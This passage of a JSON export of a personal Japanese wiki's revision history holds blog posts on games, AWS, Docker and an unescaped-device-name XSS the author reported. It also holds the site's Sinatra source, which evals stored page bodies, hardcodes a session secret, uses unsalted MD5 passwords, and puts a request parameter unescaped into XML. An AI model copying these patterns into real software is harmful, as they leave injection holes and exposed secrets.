取れるなみたいな感じなんですが研究が進めばそんな安易なゲームではなくなるでしょうからチャージャー使ってエイミングの練習してるみたいな感じです。\r\n\r\n面白いかといえばまあ面白いんですが人が言うほど面白いんですかねこれ。このゲーム褒めてる人の多くが普段はシューターやってない人なんじゃないのと思います。いやこのゲーム面白いんだけどこれぐらいに面白いの結構沢山あると思うんですよ。\r\n\r\nこれを機に Steam (と Origin)インストールしてセールになってるゲーム買いあさる人が増えてくれればと思います。\r\n\r\nWii U 持ってない人が 4 万円払って買う価値あるかというと微妙で、セールで 4000 円ぐらいで買えたら大満足したかなみたいな感じのゲームですので、まあ、 Steam で何十本何百本も開発してて積みが多い人は積みをさきに消化したほうがいいんじゃないですかね。\r\n\r\nところでユビレジでは iOS アプリエンジニアの不足が深刻化している様子が伺えますがアプリエンジニアなんてその辺で転がってるもんでもないので iOS いい加減まともに覚えようと思いました。","created_at":"2015-06-05T02:13:51.000Z","updated_at":"2015-06-05T02:13:51.000Z"},{"id":2881,"name":"text/エンジニアができないと言うとき","body":"%blog%\r\n\r\n本当に何をどうやっても不可能ということはそれなりにあるので「とは言ってもできるんでしょ」とか勘ぐるのをデフォルトにすると人間関係破壊されるので気を付けたほうがいいですよ。","created_at":"2015-06-07T05:31:00.000Z","updated_at":"2015-06-07T05:31:00.000Z"},{"id":2882,"name":"text/エンジニアができないと言うとき","body":"%blog%\r\n\r\n本当に何をどうやっても不可能ということはそれなりにあるので「とは言ってもできるんでしょ」とか勘ぐるのをデフォルトにすると人間関係破壊されるので気を付けたほうがいいですよ。人の言うことを信じないというその糞みたいな態度をまずやめてみろ。","created_at":"2015-06-08T06:22:44.000Z","updated_at":"2015-06-08T06:22:44.000Z"},{"id":2883,"name":"text/ライザップの時給","body":"%blog%\r\n\r\n本当に 1000 円未満なのか、悪質な FUD なんじゃないのかと思って軽く調べてみました。\r\n\r\nhttp://www.rizap.jp/recruit/guides_career.html\r\n\r\n要点だけ抽出すると\r\n\r\n項目 | 内容\r\n-- | --\r\n勤務時間 | 9:00~23:00(実働8h) \r\n給与 | 月給18~40万円 \r\n休日休暇 | 週休2日制(月8日以上) \r\n\r\nとなっております。\r\n\r\nというわけで。\r\n\r\n180000/(31 - 8)/8 = 978.3 \r\n\r\nです。なので月 31 日の月は時給が 1000 円未満となります。","created_at":"2015-06-12T05:09:03.000Z","updated_at":"2015-06-12T05:09:03.000Z"},{"id":2884,"name":"text/ライザップの時給","body":"%blog%\r\n\r\n本当に 1000 円未満なのか、悪質な FUD なんじゃないのかと思って軽く調べてみました。\r\n\r\nhttp://www.rizap.jp/recruit/guides_career.html\r\n\r\n要点だけ抽出すると\r\n\r\n項目 | 内容\r\n--- | ---\r\n勤務時間 | 9:00~23:00(実働8h) \r\n給与 | 月給18~40万円 \r\n休日休暇 | 週休2日制(月8日以上) \r\n\r\nとなっております。\r\n\r\nというわけで。\r\n\r\n180000/(31 - 8)/8 = 978.3 \r\n\r\nです。なので月 31 日の月は時給が 1000 円未満となります。","created_at":"2015-06-12T05:09:17.000Z","updated_at":"2015-06-12T05:09:17.000Z"},{"id":2885,"name":"text/マッドマックス怒りのデス・ロードの燃費問題","body":"%blog%\r\n\r\nちゃんと映画見てみましょう。映画の中で一言たりとて、「ガソリンが不足している」ということは言及されません。あの世界で最も不足しているリソースは水と健康的な女性であってガソリンではないので彼らはあのようにガソリンを(比較的)無駄遣いできるのでしょう。","created_at":"2015-06-30T11:28:50.000Z","updated_at":"2015-06-30T11:28:50.000Z"},{"id":2886,"name":"text/バルファキス辞任","body":"%blog% ギリシャ財務大臣ヤニス・バルファキス氏辞任について\r\n\r\n辞任と報道されてますが、辞任ではないです。更迭です。\r\n\r\n\u003e Soon after the announcement of the referendum results, I was made aware of a certain preference by some Eurogroup participants, and assorted ‘partners’, for my… ‘absence’ from its meetings; an idea that the Prime Minister judged to be potentially helpful to him in reaching an agreement. For this reason I am leaving the Ministry of Finance today.\r\n\u003e\r\n\u003e 国民投票の結果発表後、私はユーログループとその各種のパートナーが会議に私を出席させたくないと思っていることを知らされた。ティブラス首相はそのようにすることが合意形成のためによいアイディアであると判断した。この理由により私は今日財務省を去る。\r\n\u003e \r\n\u003e Minister No More! | Yanis Varoufakis \r\n\u003e http://yanisvaroufakis.eu/2015/07/06/minister-no-more/\r\n\r\nこの文面で「自発的な辞任」であるかのように報道するのはちょっとどうかと思います。\r\n\r\nバルファキスの交渉態度がまったく協調的ではなく、本来ドイツに大してあまり好感を抱いていなかった人達もとりあえず「反バルファキス」でまとまってしまっていたという話がありますから、これにより何かが動く可能性はなくもないのでしょう。\r\n\r\nただバルファキスはあくまでも財務大臣にすぎず、ティプラス首相に任命されていたのですし、またそのティプラス首相も選挙や国民投票に従って動いているだけの、まあナポレオン 3 世みたいなもんでしょう。バルファキス切るみたいな小手先の手段で問題が解決するかは未知数でしょう。\r\n\r\n私としてはあの人のファッショをマスメディアで見ることが出来なくなるのが非常に残念です。","created_at":"2015-07-06T08:32:47.000Z","updated_at":"2015-07-06T08:32:47.000Z"},{"id":2887,"name":"text/バルファキス辞任","body":"%blog% ギリシャ財務大臣ヤニス・バルファキス氏辞任について\r\n\r\n辞任と報道されてますが、辞任ではないです。更迭です。\r\n\r\n\u003e Soon after the announcement of the referendum results, I was made aware of a certain preference by some Eurogroup participants, and assorted ‘partners’, for my… ‘absence’ from its meetings; an idea that the Prime Minister judged to be potentially helpful to him in reaching an agreement. For this reason I am leaving the Ministry of Finance today.\r\n\u003e\r\n\u003e 国民投票の結果発表後、私はユーログループとその各種のパートナーが会議に私を出席させたくないと思っていることを知らされた。ティブラス首相はそのようにすることが合意形成のためによいアイディアであると判断した。この理由により私は今日財務省を去る。\r\n\u003e \r\n\u003e Minister No More! | Yanis Varoufakis \r\n\u003e http://yanisvaroufakis.eu/2015/07/06/minister-no-more/\r\n\r\nこの文面で「自発的な辞任」であるかのように報道するのはちょっとどうかと思います。\r\n\r\nバルファキスの交渉態度がまったく協調的ではなく、本来ドイツに大してあまり好感を抱いていなかった人達もとりあえず「反バルファキス」でまとまってしまっていたという話がありますから、これにより何かが動く可能性はなくもないのでしょう。\r\n\r\nただバルファキスはあくまでも財務大臣にすぎず、ティプラス首相に任命されていたのですし、またそのティプラス首相も選挙や国民投票に従って動いているだけの、まあナポレオン 3 世みたいなもんでしょう。バルファキス切るみたいな小手先の手段で問題が解決するかは未知数でしょう。\r\n\r\n私としてはあの人のファッションをマスメディアで見ることが出来なくなるのが非常に残念です。","created_at":"2015-07-06T09:04:28.000Z","updated_at":"2015-07-06T09:04:28.000Z"},{"id":2888,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 20\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget '/gyazo/:id' do\r\n redirect \"http://gateway.ssig33.com/gyazo/#{params[:id]}\"\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2015-07-15T05:38:25.000Z","updated_at":"2015-07-15T05:38:25.000Z"},{"id":2889,"name":"test.xml","body":"plain\r\n\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cResponse\u003e\r\n \u003cSay language=\"ja-jp\"\u003e人間が死ぬ\u003c/Say\u003e\r\n\u003c/Response\u003e","created_at":"2015-07-15T07:00:38.000Z","updated_at":"2015-07-15T07:00:38.000Z"},{"id":2890,"name":"test.xml","body":"raw\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cResponse\u003e\r\n \u003cSay language=\"ja-jp\"\u003e人間が死ぬ\u003c/Say\u003e\r\n\u003c/Response\u003e","created_at":"2015-07-15T07:01:07.000Z","updated_at":"2015-07-15T07:01:07.000Z"},{"id":2891,"name":"test.xml","body":"ruby\r\n\u003c\u003c EOS\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cResponse\u003e\r\n \u003cSay language=\"ja-jp\"\u003e人間が死ぬ\u003c/Say\u003e\r\n\u003c/Response\u003e\r\nEOS","created_at":"2015-07-15T07:03:40.000Z","updated_at":"2015-07-15T07:03:40.000Z"},{"id":2892,"name":"test.xml","body":"ruby\r\ntext \u003c\u003c EOS\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cResponse\u003e\r\n \u003cSay language=\"ja-jp\"\u003e人間が死ぬ\u003c/Say\u003e\r\n\u003c/Response\u003e\r\nEOS\r\n\r\ntext","created_at":"2015-07-15T07:03:53.000Z","updated_at":"2015-07-15T07:03:53.000Z"},{"id":2893,"name":"test.xml","body":"ruby\r\ntext \u003c\u003c-EOS\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cResponse\u003e\r\n \u003cSay language=\"ja-jp\"\u003e人間が死ぬ\u003c/Say\u003e\r\n\u003c/Response\u003e\r\nEOS\r\n\r\ntext","created_at":"2015-07-15T07:04:06.000Z","updated_at":"2015-07-15T07:04:06.000Z"},{"id":2894,"name":"test.xml","body":"ruby\r\ntext = \u003c\u003c-EOS\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cResponse\u003e\r\n \u003cSay language=\"ja-jp\"\u003e人間が死ぬ\u003c/Say\u003e\r\n\u003c/Response\u003e\r\nEOS\r\n\r\ntext","created_at":"2015-07-15T07:04:15.000Z","updated_at":"2015-07-15T07:04:15.000Z"},{"id":2895,"name":"test.xml","body":"ruby\r\ntext = \u003c\u003c-EOS\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cResponse\u003e\r\n \u003cSay language=\"ja-jp\"\u003e#{request.params['msg']}\u003c/Say\u003e\r\n\u003c/Response\u003e\r\nEOS\r\n\r\ntext","created_at":"2015-07-15T07:04:43.000Z","updated_at":"2015-07-15T07:04:43.000Z"},{"id":2896,"name":"test.xml","body":"ruby\r\ntext = \u003c\u003c-EOS\r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003cResponse\u003e\r\n \u003cSay language=\"ja-jp\"\u003e#{request.params['msg'] || \"テスト架電です\"}\u003c/Say\u003e\r\n\u003c/Response\u003e\r\nEOS\r\n\r\ntext","created_at":"2015-07-15T07:05:05.000Z","updated_at":"2015-07-15T07:05:05.000Z"},{"id":2897,"name":"text/APIGatewayでサイト","body":"%blog%\r\n\r\nAmazon API Gateway と S3 においた静的なファイルだけで、動的なサイトを作ることができそうなのでやってみました。\r\n\r\nhttp://ssig33-keijiban.s3-website-ap-northeast-1.amazonaws.com/\r\n\r\nわりと楽に作れます。めんどうなのは CORS 対応だけです。[うまくまとまったドキュメント](http://dev.classmethod.jp/cloud/aws/amazon-api-gateway-cors/)があるので参考にしましょう。\r\n\r\n認証とかが必要な場合は、 Cognito が使えると思います。\r\n\r\nデータストアに Dynamo DB などを使えば本当に何も考えずに自動的にスケールしていくサイトを作ることが出来るのではないかと思います。\r\n\r\n現状やってみて分かった課題は以下のとおりです\r\n\r\n- AWS Lambda Function のデプロイと管理がやりづらい\r\n- Amazon API Gateway の設定をコードで管理できないと絶対に破滅する\r\n- どうやら API Gateway でマルチバイト文字のあつかいがおかしい\r\n\r\nAWS の大船にのってどんどん楽できるという点では Beanstalk よりずっと上という感じですし、将来性は感じます。","created_at":"2015-07-15T11:52:35.000Z","updated_at":"2015-07-15T11:52:35.000Z"},{"id":2898,"name":"text/APIGatewayでサイト","body":"%blog% Amazon API Gateway と S3 で動的なサイトを作る。\r\n\r\nAmazon API Gateway と S3 においた静的なファイルだけで、動的なサイトを作ることができそうなのでやってみました。\r\n\r\nhttp://ssig33-keijiban.s3-website-ap-northeast-1.amazonaws.com/\r\n\r\nわりと楽に作れます。めんどうなのは CORS 対応だけです。[うまくまとまったドキュメント](http://dev.classmethod.jp/cloud/aws/amazon-api-gateway-cors/)があるので参考にしましょう。\r\n\r\n認証とかが必要な場合は、 Cognito が使えると思います。\r\n\r\nデータストアに Dynamo DB などを使えば本当に何も考えずに自動的にスケールしていくサイトを作ることが出来るのではないかと思います。\r\n\r\n現状やってみて分かった課題は以下のとおりです\r\n\r\n- AWS Lambda Function のデプロイと管理がやりづらい\r\n- Amazon API Gateway の設定をコードで管理できないと絶対に破滅する\r\n- どうやら API Gateway でマルチバイト文字のあつかいがおかしい\r\n\r\nAWS の大船にのってどんどん楽できるという点では Beanstalk よりずっと上という感じですし、将来性は感じます。","created_at":"2015-07-15T11:53:04.000Z","updated_at":"2015-07-15T11:53:04.000Z"},{"id":2899,"name":"redirect","body":"ruby\r\n\r\nrequest.to_json","created_at":"2015-07-21T00:14:46.000Z","updated_at":"2015-07-21T00:14:46.000Z"},{"id":2900,"name":"redirect","body":"ruby\r\n\r\nrequest.params['code']","created_at":"2015-07-21T00:15:31.000Z","updated_at":"2015-07-21T00:15:31.000Z"},{"id":2901,"name":"text/最近見つけた以外な XSS","body":"%blog%\r\n\r\n![xss](https://lh3.googleusercontent.com/nTQzymkgC4uMHmHaHXjmX-7on4hE-QB8Ic0AOR3JVS9O=w537-h717-no)\r\n\r\nほぼ出オチに近いんですが。\r\n\r\nこれで発動する XSS を実際に見かけました。\r\n\r\n1. iOS アプリと Web アプリが両方あるアプリである\r\n2. Web アプリがわにアカウントにひもづいているデバイスを一覧できる画面や投稿元デバイス名が表示される画面がある\r\n3. そこでデバイス名がエスケープされてない\r\n\r\nという事例です。一昔前は Rails や CakePHP やらがテンプレートエンジンで普通に HTML を出力すればエスケープしてくれたものですがが、最近は JavaScript で HTML を構築することが多く、手動でエスケープするような暗黒時代に戻ってしまっている感があります。\r\n\r\n「たいていのところはちゃんとエスケープしてあるけど、↑のような意外なところが抜けてたりする事例があります。\r\n\r\niOS のデバイス名由来のものについては簡単に調べた結果 3 件ほど XSS を見かけたので、それについては報告はしておきましたが、みなさんも自分のアプリケーションについて調べてみてはいかがでしょうか。\r\n\r\n具体的にこの件については攻撃難易度はかなりのものですが、「意外なところに隠れているユーザー入力値」という問題については一通り自分のアプリケーションを調査する必要があると思います。","created_at":"2015-07-24T05:45:42.000Z","updated_at":"2015-07-24T05:45:42.000Z"},{"id":2902,"name":"text/最近見つけた以外な XSS","body":"%blog% 最近みつけた意外な XSS\r\n\r\n![xss](https://lh3.googleusercontent.com/nTQzymkgC4uMHmHaHXjmX-7on4hE-QB8Ic0AOR3JVS9O=w537-h717-no)\r\n\r\nほぼ出オチに近いんですが。\r\n\r\nこれで発動する XSS を実際に見かけました。\r\n\r\n1. iOS アプリと Web アプリが両方あるアプリである\r\n2. Web アプリがわにアカウントにひもづいているデバイスを一覧できる画面や投稿元デバイス名が表示される画面がある\r\n3. そこでデバイス名がエスケープされてない\r\n\r\nという事例です。一昔前は Rails や CakePHP やらがテンプレートエンジンで普通に HTML を出力すればエスケープしてくれたものですがが、最近は JavaScript で HTML を構築することが多く、手動でエスケープするような暗黒時代に戻ってしまっている感があります。\r\n\r\n「たいていのところはちゃんとエスケープしてあるけど、↑のような意外なところが抜けてたりする事例があります。\r\n\r\niOS のデバイス名由来のものについては簡単に調べた結果 3 件ほど XSS を見かけたので、それについては報告はしておきましたが、みなさんも自分のアプリケーションについて調べてみてはいかがでしょうか。\r\n\r\n具体的にこの件については攻撃難易度はかなりのものですが、「意外なところに隠れているユーザー入力値」という問題については一通り自分のアプリケーションを調査する必要があると思います。","created_at":"2015-07-24T05:49:15.000Z","updated_at":"2015-07-24T05:49:15.000Z"},{"id":2903,"name":"wqd407ht.htm","body":"raw\r\nkira0szX3BESUVR2wbEV\r\n","created_at":"2015-07-30T10:12:17.000Z","updated_at":"2015-07-30T10:12:17.000Z"},{"id":2904,"name":"text/odrive Windows 10 で必須のツール","body":"%blog%\r\n\r\nWindows 8.1 から Windows 10 にアップデートして一番困る問題が、 OneDrive がすっかり糞になってしまうという点でしょう。スマートファイルは OneDrive の最強のメリットでしたが Win dows 10 でこれがなくなってしまいました。\r\n\r\nそこで Windows 10 環境でも 8.1 時代のように OneDrive を扱えるツールがあります。\r\n\r\n- [odrive](https://www.odrive.com/)\r\n\r\nこれです。このツールをつかうと、 OneDrive , Google Drive , Dropbox などの同期サービスを Win 8.1 の OneDrive 感覚でスマートに扱うことができます。\r\n\r\nさらに Instagram のハッシュタグ検索の結果をローカルにガンガン同期するといった謎の機能もあったりします。\r\n\r\nOneDrive を使ってた人は必須のツールだし、 Dropbox とかを使ってた人も Dropbox が一段階便利になるツールだろうと思います。","created_at":"2015-07-31T05:16:52.000Z","updated_at":"2015-07-31T05:16:52.000Z"},{"id":2905,"name":"text/悪いデザイン","body":"%blog%\r\n\r\nよいデザインがなにかを論じるのはむずかしい作業ですが、わるいデザインをあげつらうことはそれとくらべればかんたんなものです。\r\n\r\nここで最悪なデザインについてかんがえていきましょう。\r\n\r\n![image](http://s.ssig33.com/files/98981d38741b464bbe72c5a2e854f68c)\r\n\r\n![image](http://s.ssig33.com/gyazo/921135919d7a4913bd40c1b9b0cec42b)\r\n\r\n![image](http://s.ssig33.com/gyazo/0634f786a3a042b6acfce73e4241b809)\r\n\r\nこういうものをかう人は、これらの虫を不快だとかんじているからかうわけです。にもかかわらずこれらの害虫のリアルな絵がえがかれていることでいったい誰がしあわせになるというのか。\r\n\r\nほんとうにクソだしデフォルメした絵にしてほしい。","created_at":"2015-08-06T09:22:51.000Z","updated_at":"2015-08-06T09:22:51.000Z"},{"id":2906,"name":"text/悪いデザイン","body":"%blog%\r\n\r\nよいデザインがなにかを論じるのはむずかしい作業ですが、わるいデザインをあげつらうことはそれとくらべればかんたんなものです。\r\n\r\nここで最悪なデザインについてかんがえていきましょう。\r\n\r\n![image](http://s.ssig33.com/gyazo/f53ed5bea344456fa3e145c7569edc98)\r\n\r\n![image](http://s.ssig33.com/gyazo/921135919d7a4913bd40c1b9b0cec42b)\r\n\r\n![image](http://s.ssig33.com/gyazo/0634f786a3a042b6acfce73e4241b809)\r\n\r\nこういうものをかう人は、これらの虫を不快だとかんじているからかうわけです。にもかかわらずこれらの害虫のリアルな絵がえがかれていることでいったい誰がしあわせになるというのか。\r\n\r\nほんとうにクソだしデフォルメした絵にしてほしい。","created_at":"2015-08-06T09:23:59.000Z","updated_at":"2015-08-06T09:23:59.000Z"},{"id":2907,"name":"test","body":"test\r\n\r\nhttp://static.line.naver.jp/_1/LINE-bug-bounty/pdf/LINE_Bug_Bounty_20150805.pdf","created_at":"2015-08-07T01:17:49.000Z","updated_at":"2015-08-07T01:17:49.000Z"},{"id":2908,"name":"text/docker ホストを長期間運用する際の注意点","body":"%blog%\r\n\r\nうちには 2013 年末ごろからずっと docker コンテナを運用し続けていた物理ホストがあったのだけど、最近\r\n\r\n```\r\n$ docker ps\r\n```\r\n\r\nとかしても結果が戻ってくるのに 20 秒ぐらいかかるし、コンテナの起動とかにも同じくらい時間がかかる\r\n\r\n\r\n```\r\n$ /etc/init.d/docker restart\r\n```\r\n\r\nなどとしようもんならコンテナが使用可能になるまで 3 時間ぐらいかかってた。とはいえそう頻繁にコンテナを手動で起動したり終了したりするホストではないし、 docker のデーモン自体を再起動するとかは本当に稀なのでずっと放置してたんだけど、さすがに放置できなくなってきた。\r\n\r\n\r\n```\r\n$ docker ps --all | wc -l\r\n\r\n```\r\n\r\nとすると 103781 とかなってて、ゴミコンテナやイメージが大量にありすぎるのが諸悪の根源なのではないかという予想を立てた。\r\n\r\n\u003cscript src=\"https://gist.github.com/ssig33/0e67e3254699f7b923a5.js\"\u003e\u003c/script\u003e\r\n\r\nそこでこのようなスクリプトでコンテナを掃除してみた。およそ 6 時間ぐらいかかって掃除が終わると、 docker ps は一瞬で結果が返ってくるし、デーモンごと再起動しても一瞬で使えるようになりました。\r\n\r\n一般的に docker を使うような環境だと、ホストは AWS などで、ホストも頻繁に捨ててしまうみたいな運用が多いのかなという気がしているし、また 20 ヶ月以上に渡って単一のホストで運用し続けてるようなケースもまだ多くないのではないかと想像している。\r\n\r\nなのでこのような問題に直面することはまだまだ一般的ではないのかなとは思うんですが、気づかないうちにコンテナの残りかすたちがたまりまくってパフォーマンスがめっちゃ劣化するみたいのはそのうちいろんな人のところで発生してくると思うので、日常的に cron で掃除させるようにしておいたほうがよいです。","created_at":"2015-08-09T16:01:21.000Z","updated_at":"2015-08-09T16:01:21.000Z"},{"id":2909,"name":"text/コミックマーケット88","body":"%blog% コミックマーケット 88 での私です\r\n\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e\u003ca href=\"https://twitter.com/hashtag/c88%E3%82%B3%E3%82%B9%E3%83%97%E3%83%AC?src=hash\"\u003e#c88コスプレ\u003c/a\u003e \u003ca href=\"https://twitter.com/hashtag/%E3%82%B3%E3%83%9F%E3%82%B1?src=hash\"\u003e#コミケ\u003c/a\u003e わたしです \u003ca 